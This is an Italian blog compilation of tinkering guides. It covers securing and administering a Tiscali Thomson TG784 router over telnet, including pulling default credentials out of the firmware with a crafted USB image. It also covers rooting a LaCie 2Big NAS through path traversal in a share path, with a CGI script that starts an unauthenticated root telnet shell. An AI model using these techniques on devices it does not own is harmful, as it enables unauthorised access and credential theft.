La politica di ogni provider adsl che si rispetti è di lasciare fuori i propri clienti dall’amministrazione del router. Va da se che questo modo di fare cozza, completamente, con i miei ideali. Ovvero, io ho acquistato il modem, dunque, penso di avere il diritto di gestirlo come amministratore.

Parliamo di cose serie, se siete tra i fortunati possessori del router Alcatel Thomson tg784g/n che viene dato (comodato d’uso o venduto) dalla Tiscali, per chi stipula un contratto voce, allora avete un serio problema di sicurezza sulla vostra rete locale.

Questi pazzi hanno lasciato l’accesso telnet attivo e aperto verso internet, inoltre, le credenziali di accesso come amministratore sono note. In termini pratici un lamer potrebbe entrare nel vostro router, copiarne la configurazione e/o modificarla a suo vantaggio. Ovvero, chiunque può amministrare il vostro router senza che voi ve ne accorgete, esponendo la vostra rete locale ad attacchi di tipo man in the middle o al furto delle vostre credenziali di accesso alla rete adsl e voip.

Bene, mettiamoci ai ripari. Il mio suggerimento è di creare un nuovo account sul router con i privilegi di amministratore e di rimuovere l’account di default.

Consiglio: prima di continuare accedete all’interfaccia amministrativa web del vostro router, con le credenziali di accesso di amministratore, e salvatene la configurazione (File: user.ini)

Cambiate l’indirizzo ip del vostro pc con 192.168.1.34 e collegatevi all’interfaccia telnet del vostro router:

telnet 192.168.1.254 8081

Attenzione, da rete locale il router risponderà all’interfaccia telnet solo se il pc che chiede l’accesso ha l’indirizzo 192.168.1.34. Il motivo è una regola impostata nel firewall del router (estratto da user.ini):

Thomson TG 784 H:

rule add chain=sink_system_service index=1 srcintf=lan srcip=!192.168.1.34 serv=telnet log=disabled state=enabled action=deny

Thomson TG 784 N:

rule add chain=sink_fire index=1 srcintf=lan srcip=!192.168.1.34 serv=telnet log=disabled state=enabled action=deny

Loggatevi con le credenziali di accesso di root e date i seguenti comandi:

env set var=SESSIONTIMEOUT value=0
user add name = <nome> password = <password> role = root
user list
saveall
exit

sostituite:

• <nome> col nome del vostro nuovo utente amministratore (consiglio: evitate nomi come  admin, administrator, root e simili) e
• <password> con la password da voi preferita (consiglio: metteteci una password forte).

Attenzione, alcune volte il router si pianta durante la procedura di saveall. Non allarmatevi se, per più di un minuto, la console telnet non risponde, riavviate il modem usando il pulsante di accensione. Generalmente il router riesce a salvare le impostazioni anche quando si pianta.
Loggatevi nuovamente con le credenziali del nuovo utente che avete creato ed eseguite i seguenti comandi:

env set var=SESSIONTIMEOUT value=0
user list
user delete name = <nome>

Sostituite <nome> con il nome dell’utente root standard del router.
Se cancellate anche l’utente della tiscali avrete eliminato la possibilità da parte dell’assistenza remota di entrare nel vostro router: a voi la scelta.

E, giacché ci siamo, abilitiamo il client ntp del router:

sntp add name=it.pool.ntp.org version=3
sntp config poll=60 pollpresync=5
sntp config state=enabled

inoltre, dato che la tiscali censura i dns, aggiungiamone due statici con priorità superiore a i dns della tiscali stessa:

dns server route add dns=208.67.222.222 metric=1 intf=Internet
dns server route add dns=208.67.220.220 metric=1 intf=Internet
dns server route list

I dns che vedete nell’esempio precedente sono di opendns, se non vi piacciono cambiateli con quelli che più preferite. Nel mio caso ho inserito come dns il server di casa mia considerato che ho bind
Ebbene si! In Italia esiste la censura… (lol) provate a collegarvi al sito www[dot]thepiratebay[dot]org oppure www[dot]btjunkie[dot]org, prima e dopo aver cambiato i dns.
T1scal1 censura, al momento, solo i dns, Alice e altri provider eseguono una censura a livello di pacchetto, quindi, anche cambiando i dns non vi collegherete, comunque, ai siti internet censurati. (ricordate tor è vostro amico)

Aggiornamento del 25/07. Sono spiacente di informare la censura di t1scal1 si è allineata agli altri provider adsl, censurando a livello di pacchetto e non più di solo dns…

Modifichiamo la regola del firewall per il servizio telnet del router, al fine di rendere accessibile telnet da qualsiasi pc della rete locale.
Creiamo una nuova espressione che identificherà il range degli indirizzi della nostra lan:

expr add name=personal type=ip addr=192.168.1.0/24 mask=0

Poi modifichiamo la regola (che vi avevo mostrato prima) per il telnet:

regola da usare per il modello Thomson TG 784 H:

firewall rule modify chain=sink_system_service index=1 srcintf=lan srcip=!personal serv=telnet log=disabled state=enabled action=deny

regola da usare per il modello Thomson TG 784 N:

firewall rule modify chain=sink_fire index=1 srcintf=lan srcip=!personal serv=telnet log=disabled state=enabled action=deny

Il comando “srcintf=lan” (letteralmente source interface expression) indica che la regola è valida solo per la rete locale lan. Se volete creare una regola per le connessioni internet dovete usare la parola “wan“.

Non dimenticatevi di salvare tutto prima di uscire:

saveall
exit

Per maggiori informazioni sulla command line interface di questo router eseguite la ricerca “thomson tg784 cli” su g00gle e scaricate il pdf.

Ad ogni modo, eseguendo la procedura di reset fisico del router, sarà possibile riportare il router alle impostazioni standard della adsl Tiscali.

Abilitazione accesso FTP e HTTP da remoto
(Aggiornamento del 10-10-2011)

Non ho mai usato l’ftp del router… tuttavia sembra che a qualcuno faccia comodo

service system ifadd name=FTP group=wan
saveall

Regola testata e NON funzionante o almeno sembra che non basti per fare funzionare l’ftp da remoto.

Analogamente per l’interfaccia web di amministrazione del modem..
(sconsiglio caldamente di abilitarla, ma a volte si sa può servire…)

service system ifadd name=HTTP group=wan
saveall

[Regola testata e funzionante]

Rimozione accesso Telnet da remoto (FTP e HTTP)

Una volta per tutte, togliamo questa falla alla sicurezza del router…
Attenzione, potrete sempre accedere al router tramite telnet dalla vostra rete locale di casa vostra, ma non più da internet.

service system ifdelete name=TELNET group=wan
saveall

Regola per rimuovere l’accesso FTP da remoto ..

service system ifdelete name=FTP group=wan
saveall

Regola per rimuovere l’accesso remoto all’interfaccia web di amministrazione del modem.. (l’accesso remoto non è attivo come impostazione di default del modem, almeno di vostre modifiche)

service system ifdelete name=HTTP group=wan
saveall

Insomma, avrete capito che service system ifadd aggiunge e service system ifdelete rimuove, mentre se volte avere una lista dei servizi del router…

service system list

Purtroppo,  quella lista non ci dice nulla su quale lato (internet o lan) del router sono attivi, bisogna andare a spulciarsi il file user.ini.

Aprire le porte sul router…

Aprire le porte su questo router non è esattamente immediato.
E’ facile notare che si utilizza una regola per servizio già presente sul router la porta viene aperta correttamente.
Potete constatare voi stessi che si assegna un ad un pc il servizio ssh o qualsiasi altro servizio preimpostato sul router la porta risulta essere effettivamente raggiungibile dall’esterno. Ben altra cosa accade con le regole definite manualmente dall’utente.

Ho visto che ci sono alcuni navigatori che suggeriscono di disabilitare l’intrusion detection. Non è il caso. Vi faccio una metafora: è come se il vostro elettricista di fiducia per fare passare il cavo dell’antenna dal muro anziché fare un buco col trapano, ve l’ho butta giù con il martello pneumatico. Beh sicuramente il filo ci passa, ma non era esattamente quello che volevamo no?

La soluzione esiste:

• Fissate in modo statico gli indirizzi ip dei pc di casa vostra su cui volete assegnare dei servizi (Home > Home Network > Devices > …)
• Create tutte le regole che vi servono (Home > Toolbox > Game & Application Sharing > New Game or Application).
• Assegnate le regole alle vostre macchine
• Salvate il vostro file user.ini (Home > Thomson Gateway > Configuration > Backup & Restore) sul desktop e apritelo con wordpad/gedit
• Cercate la sezione “[ service.ini ]” Es:

[ service.ini ]
add name="AIM Talk" mode=client
...
add name=test
add name=VNC mode=server
add name="Xbox Live" mode=server
...
...

Per sinteticità ho tagliato le regole presenti nel router.
La regola che ho creato per queste esempio si chiama test. La regola in questione non ha il parametro mode, per il modem è equivalente a scrivere mode=client. Risultato porta chiusa dall’esterno. Aggiungete mode=server ad ogni vostra regola creata:

add name=test mode=server

Salvate il file, ridatelo in pasto al modem e avete finito. Solo un ultimo consiglio: NON usate la porta 8080 per le vostre regole, pena la perdita dell’accesso all’interfaccia web del router.
(anche se disabilitato, sulla 8080 del router è presente il servizio di parental control)
In generale se volete avere la lista di quali porte NON si devono usare sul router perché sono in uso dallo stesso modem. Dall’interfaccia telnet date:

service system list

E adesso, divertiamoci con un po’ di hacking…

(Per chi non conosce le credenziali di accesso di default del router o, semplicemente, vuole sbirciare dentro il firmware di questo apparecchio.)
Prendetevi una penna usb, la più piccola che avete va bene. Se avete dei dati sul supporto usb che volete conservare salvateli perché con questa procedura la penna usb verrà formattata.

Procedura valida solo per il vecchio modello Thomson TG 784; il nuovo modello (TG784n) non riconosce il filesystem del pennino.

• Scaricate il file: tg787-sysroot.sqsh.7z (filesystem che contiene un ln -s alla root)
• Aprite una shell sotto linux (una distro live di ubuntu può fare al caso vostro se  non avete linux installato sul vostro pc)
• se non l’avete già fatto, inserite la penna usb nel vostro pc ed eseguite il comando
• $ mount, nella vostra shell e identificate qual’è il nome della vostra penna usb (nel mio caso /dev/sdb), ed eseguite il comando:
• $ sudo dd if=/dev/zero of=/dev/sdb, che cancellerà ogni dato presente nella penna (più è grande il supporto più questa operazione sarà lunga),
• andate nella path dove avete scaricato il file e una volta scompattato eseguite il comando:
• $ sudo dd if=sysroot.sqsh of=/dev/sdb,
• a operazione terminata staccate la penna usb e inseritela nella porta usb del router
• Controllate, collegandovi all’interfaccia web del thomson, che in toolbox => content sharing sia attivo server enabled (upnp Av Media Server) (generalmente è già tutto attivato di default).
• All’indirizzo \\192.168.1.253 o nelle condivisioni di rete (winzoz) troverete un pc chiamato thomson, al cui interno c’è condiviso il firmware del vostro router.
• Aprite il file mlpuser.def che si trova in /sys/archive/xxxx/active/, per leggere le credenziali di default del vostro router.

Per il modello TG784n consiglio di dare un occhiata al file: USB-Root-Access-v1-4.7z
Tuttavia, non possedendo il nuovo modello, non sono in grado di dirvi nulla sull’efficacia della procedura.
Non sembra che questa procedura sia d’aiuto.

Qualcuno ha detto TTL?

Sembra però che bisogna anche saldare due ponticelli dietro la board del modem per fare funzionare la ttl.
A questo link c’è spiegata la procedura per il modello tg782 (estremamente simile al tg784)
Appena ho un po di tempo farò alcune prove in merito.
Sarebbe molto carino riuscire a parlare direttamente con busybox piuttosto che con la comman line interface sviluppata da thomson.

Link utili:

• http://download.modem-help.co.uk/mfcs-A/Alcatel/Modems/TG784/
• http://download.modem-help.co.uk/mfcs-A/Alcatel/Modems/TG784n/
• http://forums.modem-help.co.uk/viewforum.php?f=20

Nessun articolo correlato.

Aggiornamento / Update (05/02/2012):

Per il servizio nfsd in kernelspace, guardate i commenti di questo stesso articolo.
Suggerisco di usare il servizio nfsd in kernelspace, dato che supporta il lock dei file.

For nfsd kernel space, look at the comments of this article.
I recommend to use nfs kernel space since it supports file locking.

All thanks go to Bert.

Avevo tentato precedentemente di installare il supporto nfs sul mio vecchio (v1) nas 2Big Network della LaCie ma avevo desistito per la mancanza del modulo kernel nfsd, che permette di abilitare nfs server in kernelspace.

Di recente, dopo una richiesta di aiuto da parte di un navigatore, ho riaffrontato il problema trovando una soluzione: nsf in spazio utente. Ok storco il naso anche io per l’enormità di quello che ho appena detto..
Infatti ci sono grossi handicap per nfs userspace: lo sviluppo del codice è stato completamente abbandonato (l’ultima versione è la 0.9.22 e risale al 05/01/2009), ma il problema più grave che non vi è alcun supporto per il lock dei file.

Per installare il supporto per nfs v3 sul nas c’è bisogno dei demoni unfsd e portmap, il primo è nfs stesso il secondo è un servizio ONC RPC, in esecuzione su una macchina collegata in rete, che fornisce altri servizi ONC RPC (Remote Procedure Call). (Chi è abituato a programmare sa di che sto parlando)
Per farla breve il pacchetto unfs3 dipende dal pacchetto portmap. Ai fini pratici significa che è richiesto  l’installazione anche del servizio portmap per avere nfs funzionante.
Significa anche che ho dovuto scrivere due script per initng per avviare/arrestare correttamente i due demoni.

File portmap.i:

# NAME: portmap
# DESCRIPTION: DARPA port to RPC program number mapper
# WWW: 

# exec daemon = /sbin/portmap -d ${PORTMAP_OPTS};
daemon portmap {
	need = bootmisc virtual/net;
	provide = virtual/portmap;
	pid_file = /var/run/portmap.pid;
	forks;
	env PORTMAP_OPTS=;
	env_file = /etc/portmap.conf;
	exec daemon = /sbin/portmap;
}

File unfs3.i:

# NAME: unfs3
# DESCRIPTION: starts user-space NFSv3 server.
#	       UNFS3 is a user-space implementation of the NFSv3 server specification.
#	       It provides a daemon for the MOUNT and NFS protocols,
#	       which are used by NFS clients for accessing files on the server.
#	       Unlike nfs-user-server, unfs3 is capable of handling files larger than 2GB,
#              but there is currently no support for file locking.
# WWW:

daemon unfs3 {
	need = initial virtual/portmap virtual/net;
	env PID_FILE = /var/run/unfsd.pid;
	env_file = /etc/unfs3.conf;
	pid_file = ${PID_FILE};
	require_network;
	forks;
	exec daemon = /usr/sbin/unfsd -i ${PID_FILE} $DAEMON_OPTS;
	daemon_stops_badly;
}

Installazione di nfs3 server

Come premessa generale si presuppone che:

• abbiate già effettuato l’hack del vostro nas (vedi articolo),
• installato ssh e soprattutto con esso le librerie tcp-wrappers,
• avete un account di root sul vostro nas (tutte operazioni documentate nell’articolo già citato)
• e sopratutto, una buona padronanza della bash e dei sistemi linux.

Per installare nfs server dovete scaricare questi due archivi:

• portmap_6.0-9_armel.tar.gz (10,6Kb)
• unfs3_0.9.21_armel.tar.gz (38,2Kb)

I pacchetti sono stati scaricati della distro debian lenny e sono compilati per armtel, da entrambi gli archivi ho eliminato i man page e i doc al fine di recuperare tutto lo spazio possibile.
Ho spostato il file di configurazione di portmap nella cartella /etc e l’ho rinominato in portmap.conf.
Il demone unfsd ha in file di configurazione proprio (da non confondere con il file /etc/exports) che ho rinominato in unfs3.conf e inserito anch’esso nella cartella /etc.
Queste modifiche erano dovute dato che l’architettura del nas differisce dall’architettura di un sistema operativo debian. Gli script per initng riflettono queste modifiche per cui se cambiate posto a quei file dovrete modificare di conseguenza gli script di avvio dei demoni.

Copiate l’archivio nella vostra cartella condivisa del nas.

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvzf portmap_6.0-9_armel.tar.gz -C /
# tar -xvzf unfs3_0.9.21_armel.tar.gz -C /
# rm portmap_6.0-9_armel.tar.gz
# rm unfs3_0.9.21_armel.tar.gz
# cd /etc/initng/runlevel/
# echo portmap >> default.runlevel
# echo unfs3 >> default.runlevel

Adesso dovete configurare il file exports che indica al demone nfs quali cartelle deve condividere nella vostra rete locale:

# vi /etc/exports

Vi ricordo che i comandi per modificare un file con l’editor vi sono “i” per inserire nuovo testo e “ESC”+“:wq” per salvare e uscire, “ESC”+“:q!” per forzare l’uscita dal file senza salvare le modifiche apportate.

La configurazione del file in questione la lascio alla vostra esperienza personale, se state installando nfs sul nas si presuppone che sappiate quello che state facendo. Vi informo tuttavia che questa versione di nfs (unfs3) non supporta nfs v4 ne nfs v2, inoltre non supporta nemmeno alcuni tag di configurazione come sync.

Non ho voluto implementare il supporto per nfs v2 perché assolutamente obsoleto, infatti un client nfs presuppone che, se non diversamente specificato, il protocollo, che deve usare per condividere in locale una cartella esportata da una macchina remota, sia nfs v3. Per finire nfs v2 non supporta file di dimensione superiore a i 2Gb.

Una volta configurato il file exports potete riavviare la macchina o se preferite avviare manualmente i demoni con i comandi:

# ngc -u portmap
# ngc -u unfs3

Per maggiori informazioni su ngc, digitate:

# ngc -h

E dire che questo nas non lo uso neanche più…

Aggiornamento.

Ho modificato nuovamente lo script unfs3.i inserendo la riga require_network a causa dell’avvio immediato del demone unfsd da parte di initng (prima ancora che l’interfaccia di rete lan fosse attiva). Il demone unfsd non pubblicava la socket sull’indirizzo di rete locale impedendo l’accesso da remoto.

La clausola require_network impone ad initng di attendere che l’interfaccia di rete della lan sia attiva prima di avviare il server unfsd: problema risolto.

Rsync

Script di avvio per rsync. (Il programma è già incluso nel nas)
File rsyncd.i:

#!/sbin/itype

# Short-Description: fast remote file copy program daemon
# Description: rsync is a program that allows files to be copied to and
# from remote machines in much the same way as rcp.
# This provides rsyncd daemon functionality.

daemon rsyncd {
       need = bootmisc virtual/net;
       require_network;
       env RSYNC_CONFIG_FILE=/etc/rsyncd.conf;
       env_file = ${RSYNC_CONFIG_FILE};
       exec daemon = /usr/bin/rsync --daemon --no-detach --config ${RSYNC_CONFIG_FILE};
       daemon_stops_badly;
}

Per maggiori informazioni su rsync vedere nei commenti di questo stesso articolo.

Articoli correlati:

1. LaCie 2Big Network hack: telnet, openssh, ntpd, cups and more..
2. LaCie 2Big Network tweaking: deframmentazione filesystem con xfs_fsr

Chi ha già eseguito l‘hack del proprio nas avrà sicuramente notato che la partizione contenente i dati dell’utente è formattata con il filesystem xfs. Questo ottimo filesystem ha la brutta abitudine, con l’uso, di frammentarsi deteriorando così le sue prestazioni.

Per vedere lo stato di frammentazione del proprio filesystem:

# xfs_db -c frag -r /dev/md4

Vedrete qualcosa del tipo:

actual 3144, ideal 3135, fragmentation factor 0.29%

Per deframmentare il nas abbiamo bisogno dell’utility xfs_fsr, che non è installata sul nas.
Ho recuperato il programma dal pacchetto xfsdump della distro debian lenny compilato per armtel, quindi compatibile con il nas. Ho rimosso dal pacchetto tutti i file strettamente non necessari riducendolo a 14kb.

• Scaricate il file xfsdump_2.2.48-1_armel.tar.gz
• Copiate l’archivio nella vostra cartella condivisa del nas.
• # cd /home/share/nome_cartella_della_vostra_condivisione
• # tar -xvzf xfsdump_2.2.48-1_armel.tar.gz -C /
• # xfs_fsr -v

Potete anche andare a farvi un caffè, la prima esecuzione del programma ha impegnato più di 4 ore per finire.

Per chi non si fosse informato, recentemente è uscito un aggiornamento del firmware del nas ver 2.2.6.
Se vi chiedete che fine hanno fatto le versioni 2.2.4 e 2.2.5… bhe della 2.2.4 non so dirvi molto ma la versione 2.2.5 del firmware è stata un flop totale. Il processo di installazione, che consisteva in due file da caricare sul nas, si piantava al caricamento del secondo file.

Ho testato l’hack su questa nuova versione del firmware, nei seguenti modi:

• nas con firmware 2.2.3 bucato e aggiornato successivamente alla ver 2.2.6
• aggiornato il nas alla versione 2.2.6 e successivamente bucato

in entrambi i casi è stato possibile bucare il nas.

Articoli correlati:

1. LaCie 2Big Network hack: telnet, openssh, ntpd, cups and more..
2. LaCie 2Big Network: supporto nfs
3. Fonera 2.0g firmware ufficiale 2.3.0.1 RC 1 e i suoi bug

Informazioni Generali Hacking Hacking tramite la creazione di una nuova condivisione Binari compilati per architettura ARM e file di configurazione per initng e pam Aggiungere telnet al nas Installazione di OpenSSH Persistenza dei privilegi dell’utente Problemi con su e passwd e personalizzazione del promtp della bash Installazione di NTP Installazione di Cups (print server) Deframmentazione del filesystem del nas (Vedi articolo) Installazione nfs server in spazio utente (Vedi articolo) Ripristino Link Utili Speculazioni Ringraziamenti

Informazioni Generali

L’obbiettivo di questo post è di aggiungere una shell ssh e il demone ntpd al vostro nas, ma prima di fare ciò è bene capire un po con quale macchina abbiamo a che fare. Il nas LaCie 2Big Network preso come riferimento e su cui è stata eseguita questa procedura ha il firmware ufficiale, distribuito dalla LaCie, aggiornato alla versione 2.2.3.

# cat /proc/cpuinfo

Processor       : ARM926EJ-S rev 0 (v5l)
BogoMIPS        : 266.24
Features        : swp half thumb fastmult edsp
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 0
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 32768
I assoc         : 1
I line length   : 32
I sets          : 1024
D size          : 32768
D assoc         : 1
D line length   : 32
D sets          : 1024

Hardware        : Feroceon
Revision        : 0000
Serial          : 0000000000000000

# cat /proc/version

Linux version 2.6.22.7 (root@grp-dash) (gcc version 4.2.1) #1 Thu Apr 9 16:07:45 CEST 2009

# free
 	total	used	free	shared	buffers
Mem:	61952	60184	1768	0	7384
Swap:	128376	60184	0	128376
Total:	190328	130144

# df -h

Filesystem	Size	Used	Available	Use%	Mounted on
rootfs  	648.4M	20.2M	595.3M  	3%	/
udev    	648.4M	20.2M	595.3M  	3%	/dev
/dev/md0	7.5M	5.9M	1.2M    	83%	/oldroot
udev            10.0M	0	10.0M           0%	/oldroot/dev
udev	        10.0M	0	10.0M   	0%	/oldroot/dev
none	        30.3M	0	30.3M   	0%	/oldroot/dev/shm
/dev/md1	167.0M	111.3M	47.1M   	70%	/oldroot/var/original
/dev/md2	648.4M	20.2M	595.3M   	3%	/oldroot/snapshots
unionfs	        648.4M	20.2M	595.3M  	3%	/
/dev/md4	930.4G	1.2M	930.4G  	0%	/home

# cat /proc/partitions

major minor  #blocks  name

8     0  976762584 sda
8     1          1 sda1
8     2  975755970 sda2
8     5     128457 sda5
8     6       8001 sda6
8     7       8001 sda7
8     8     176683 sda8
8     9     674698 sda9
8    10       8001 sda10
8    16  976762584 sdb
8    17          1 sdb1
8    18  975755970 sdb2
8    21     128457 sdb5
8    22       8001 sdb6
8    23       8001 sdb7
8    24     176683 sdb8
8    25     674698 sdb9
8    26       8001 sdb10
31    0        512 mtdblock0
9     0       7936 md0
9     1     176576 md1
9     2     674624 md2
9     3     128384 md3
9     4  975755904 md4

# cat /proc/mtd

dev:    size   erasesize  name
mtd0: 00080000 00010000 "cfi_flash_0"

Sinteticamente è un sistema operativo linux con un kernel decisamente datato (sic!) compilato per processori con architettura arm, cpu a 400mhz, 64mb di ram (i nuovi modelli hanno 128 mb di ram) e bootloader uboot. Dalle poche informazioni reperite dal sito ufficiale sembra che sia stato usato per costruire il sistema scratcbox e per avviare i servizi e i demoni hanno usato initng al posto di init.d. I problemi che nascono sono molteplici: il reperimento del software già compilato per il sistema (a meno di buttarsi a capofitto nel cross-compiling) compatibile con le versioni di libreria utilizzate dal nas e la creazione degli script di avvio per initng. Anche gli script per initng trovati in rete devono essere modificati un po per farli funzionare sul sistema, dato che gli sviluppatori non hanno rispettato pienamente le specifiche di initng, inserendo tutti gli script *.i nella cartella /etc/initng/ senza effettuare la suddivisione in sottocartelle (deamon per i demoni, net per i servizi di rete, ecc.)

Hacking

Premessa: Non mi assumo alcuna responsabilità qualora, in seguito alle modifiche effettuate, il vostro sistema smettesse di funzionare  correttamente. Vi ricordo, inoltre, che ogni modifica hardware o software al sistema comporta la perdita della garanzia da parte del produttore.
L’accesso al sistema è fondamentale per poter aggiungere al nostro nas uno script bash che esegue dei comandi a nostro piacimento (webshell) o preferibilmente uno script ad hoc per avviare il servizio telnet ed avere una console di root remota.
Ci sono diversi modi per “bucare” il vostro nas, infatti a seconda dei servizi avviati sulla macchina la sicurezza di questo oggetto va decisamente a farsi benedire. Un modo molto semplice per avere accesso al sistema senza smontare fisicamente i dischi è creare una nuova condivisione con un percorso particolare. (vedi più sotto) Avrete così un accesso a tutto il sistema e con i privilegi di amministratore dato che il webserver del nas possiede i diritti di root.

La controparte di questo hacking è che al riavvio della macchina, la condivisione creata viene cambiata dal sistema (meccanismo di protezione??) e rediretta nella vostra condivisione principale, obbligandovi a dover riapplicare la ‘patch’ ogni qualvolta sentite l’esigenza di accedere al vostro sistema linux. Anche la rimozione della nuova condivisione è da eseguire con estrema attenzione. Il mio suggerimento è di rimuovere questa condivisione una volta che si è uppato sul nas il demone telnet e il suo file di avvio (vedi sotto).

Hacking tramite la creazione di una nuova condivisione

• Create una nuova condivisione sul vostro nas di nome “Hack”. La path della condivisione non è importante ciò che importa è che abilitiate almeno la condivisione http.
• Salvare la configurazione xml del vostro nas sul disco (Sistema->Manutenzione->Salva configurazione)
• Fare una copia di backup del file appena salvato (Fatelo! Vi servirà più avanti per rimettere le cose in ordine).
• Editare il file di configurazione xml scaricato modificando la path della condivisione “Hack” come da figura:

Tenete conto le righe del codice xml del vostro file possono differire dall’immagine qui sopra riportata, in relazione al numero di condivisioni della vostra macchina, dagli utenti e dai gruppi.

• Salvare le modifiche e uppare la nuova configurazione sul nas (Sistema->Manutenzione->Carica la configurazione)
• Usate il vostro browser e accedete alle pagina di amministrazione del nas e cliccate su sfoglia per navigare sulla nuova condivisione via web.

La magia viene eseguita dalla riga ../../../../ che impone al sistema di creare una nuova condivisione partendo dalla radice.
Se provate a rimuovere la condivisione “hack” farete danni al vostro sistema, perché insieme alla condivisione rimuoverete anche i file in essa contenuti (quindi il sistema operativo del nas). Un modo indolore per effettuare la rimozione della condivisione è caricare il backup della configurazione del nas effettuato precedentemente (edconf.xml) e solo dopo rimuovere la condivisione ‘hack’ normalmente tramite l’interfaccia web.

Una volta che avete l’accesso al filesystem, per di più con i diritti di root (!), potrete uppare tutti i file che volete.

Binari compilati per architettura ARM e file di configurazione per initng e pam

Da qui in poi avrete bisogno di questo archivio:

>> LaCie_2Big_Network_[TELNET][NTP][SSH][CUPS].zip (6,79Mb),

contenente tutti i binari e le librerie, compilati per architettura arm, che vi servono per installare sul vostro nas i demoni Telnet, NTP, OpenSSH e Cups.
(link aggiornato in data 19/01/12    aggiunta protezione hotlink al file)
L’archivio contiene i seguenti file:

• cups-1.3.8-r1.tbz2 (1,89Mb), contenente tutti file del servizio di stampa. è incluso nell’archivio anche la libreria libpaper (libpaper-1.1.23.tbz2) richiesta dal cups e non presente nel nas.
• cups-1.3.8-r1_(driver).tbz2 (3.74Mb), contenente tutti file ppd presenti nella distribuzione 9.10 di ubuntu. Questo file, ovviamente, non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
• cups-1.3.8-r1_(language).tbz2 (419Kb), contenente la traduzione nelle maggiori lingue, italiano compreso, delle pagine html di cups. Questo file non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
• ntp-4.2.4_p4.tbz2 (247Kb), contenente i binari e i file di configurazione per il demone ntp
• openssh-4.7_p1-r6.tbz2 (490Kb), contenente i binari e i file di configurazione per il demone ssh. L’archivio contiene inoltre le librerie tcp-wrappers (tcp-wrappers-7.6-r8.tbz2) richieste dal demone non presenti nel nas.
• usbutils-0.73.tbz2 (86,2Kb). Questo file non è strettamente necessario al nas ne è obbligatorio installarlo per far funzionare cups, tuttavia può essere di aiuto poiché installa l’eseguibile lsusb.
• utelnetd.tbz2 (5.7Kb), contenente il demone utelnetd e un file per eseguirlo (vedi paragrafo successivo per maggiori info)

Gli archivi originali li ho recuperati dal sito:

http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/

dove sono presenti molti pacchetti già compilati per i nas della buffalo. Senonché questi pacchetti sono pensati per un sistema che usa inet.d e non initng, per cui ho dovuto crearmi a mano gli scrip di avvio per i demoni sshd, ntpd e cups (rispettivamente /etc/initng/sshd.i, /etc/initng/ntpd.i e /etc/initng/cups.i). Vi posso assicurare che non è stato un bel vedere: la documentazione in merito è alquanto carente e il forum ufficiale del progetto initng è sommerso dallo spam. (Quanto adoro gli spammer )

Ho voluto lasciare i pacchetti distinti, evitando di fare un unico archivio,  in modo da lasciarvi la massima scelta su cosa installare. Da i file ho rimosso i man page e i docs.

Aggiungere telnet al nas

L’archivio utelnetd.tbz2 contiene due file, il demone telnet e un file per lanciarlo e configurare la bash del vostro sistema. Copiate i due file nella cartella /www/cgi-bin/public/ tramite la condivisione creata precedentemente.
EccoVi il contenuto del file telnet.cgi:

#!/bin/sh
echo "Content-type: text/plain"
echo ""

# Settings for root bash shell
HOME='/root'
PATH='/usr/local/bin:/bin:/sbin:/usr/bin:/usr/sbin:.:'
TERM=linux

PS1='\u@\h:\w# '
PS2='> '
PS3='> '
PS4='+ '
export PS1 PS2 PS3 PS4 PATH HOME TERM

# Run telnet daemon
echo utelnetd -l /bin/bash
eval utelnetd -l /bin/bash

Potete lanciare il vostro demone telnet da un browser web all’indirizzo:

http://indirizzo_nas/cgi-bin/public/telnet.cgi

Se la pagina rimane bianca e in caricamento infinito non preoccupatevi, lanciate ugualmente il vostro client telnet sull’indirizzo del nas e godetevi la vostra console di root senza login. (evviva sicurezza!)
Una volta che si possiede una console a tutti gli effetti si può anche pensare di fare uno step in avanti con la sicurezza installando openssh.

Installazione di OpenSSH

Copiate l’archivio openssh-4.7_p1-r6[modificato].tbz2 nella vostra cartella condivisa del nas.
Dalla console di telnet eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf openssh-4.7_p1-r6.tbz2 -C /
# rm openssh-4.7_p1-r6.tbz2
# cd /etc/initng/runlevel/
# echo sshd >> default.runlevel
# touch /var/log/lastlog

Al primo avvio del nas dopo l’installazione dello ssh sarà, per una sola volta, più lento, la causa è la creazione automatica dei file:

ssh_host_dsa_key
ssh_host_dsa_key.pub
ssh_host_key
ssh_host_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub

obbligatori per il funzionamento del demone ssh stesso (cartella /etc/ssh/).

Eccovi il file di configurazione (sshd.i), incluso nell’archivio, per initng per il demone sshd:

#!/sbin/itype

# NAME: OpenSSH
# DESCRIPTION: The standard Linux SSH server
# WWW: http://www.openssh.com/

service sshd/generate_keys {
	env KEYGEN=/usr/bin/ssh-keygen;
	env RSA1_KEY=/etc/ssh/ssh_host_key;
	env RSA_KEY=/etc/ssh/ssh_host_rsa_key;
	env DSA_KEY=/etc/ssh/ssh_host_dsa_key;
	script start = {
		[ ! -s ${RSA1_KEY} ] && \
			${KEYGEN} -q -t rsa1 -f ${RSA1_KEY} -C '' -N '' 2>&1
		if [ ! -s ${RSA_KEY} ] ; then
			${KEYGEN} -q -t rsa -f ${RSA_KEY} -C '' -N '' 2>&1
			chmod 600 ${RSA_KEY}
			chmod 644 ${RSA_KEY}.pub
		fi
		if [ ! -s ${DSA_KEY} ] ; then
			${KEYGEN} -q -t dsa -f ${DSA_KEY} -C '' -N '' 2>&1
			chmod 600 ${DSA_KEY}
			chmod 644 ${DSA_KEY}.pub
		fi
	}
}

daemon sshd {
	need = bootmisc virtual/net mountfs;
	pid_file = /var/run/sshd.pid;
	need = sshd/generate_keys;
	exec daemon = /usr/sbin/sshd -D;
	daemon_stops_badly;
	respawn;
}

Altro problema sono le pam, anche qui, il file presente nell’archivio originale non funziona e ho dovuto editarlo a mano. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so
password    required     pam_unix.so
session     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/sshd).

Persistenza dei privilegi dell’utente

